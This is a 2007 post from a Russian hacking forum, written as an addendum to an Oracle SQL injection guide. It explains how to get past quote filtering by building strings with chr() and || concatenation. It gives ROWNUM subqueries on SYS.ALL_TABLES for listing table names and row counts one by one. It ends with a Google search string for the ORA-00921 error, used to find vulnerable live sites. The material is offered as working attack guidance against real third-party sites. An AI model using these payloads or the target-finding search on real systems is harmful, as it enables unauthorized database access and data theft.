Показать сообщение отдельно

Дополнение!
  #27  
Старый 05.09.2007, 16:03
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
С нами: 10153766

Репутация: 2565
По умолчанию Дополнение!

Дополнение по некоторым узким моментам:

[Обход фильтрации]

Обход фильтрации кавычек и других спецсимволов осуществляется с помощью функции chr().
Функция chr() возвращает ASCII-код символа. Но ее использование связано с некоторой сложностью, поскольку функция принимает и возвращает только один символ в отличии от подобной функции char() в MySQL. Для получения кода целой строки придется вызывать отдельную функцию для каждого символа и в последствии объединять их с помощью операции конкатенации ||.
Таким образом, закодированное слово user будет иметь вид chr(117)||chr(115)||chr(101)||chr(114).

[Аналог LIMIT]
Возможна нормальная замена предиката LIMIT используемого в MySQL для Oracle с помощью псевдостолбца ROWNUM с использованием сложного запроса (скажем спасиба groundhog`у).
Используем следующую конструкцию:
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND Y
Перебирая X и Y вытаскиваем имена всех таблиц (все записи начиная с Х по Y), доступных пользователю, аналогично со столбцами.

Еще несколько интересных конструкций с ROWNUM:

-- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X

-- Получение количества записей в заданной таблице через NUMROW
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X

-- Получение количества записей в заднной таблице через имя таблицы
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...';

[Google хек]
Как щас принято использовать поисковики для поиска уязвимостей, мы тоже не будем отставать (=
Для обнаружения уязвимых сайтов можно воспользоваться поисковиком, например в гугле искать сайты со строками
“ORA-00921: unexpected end of SQL command”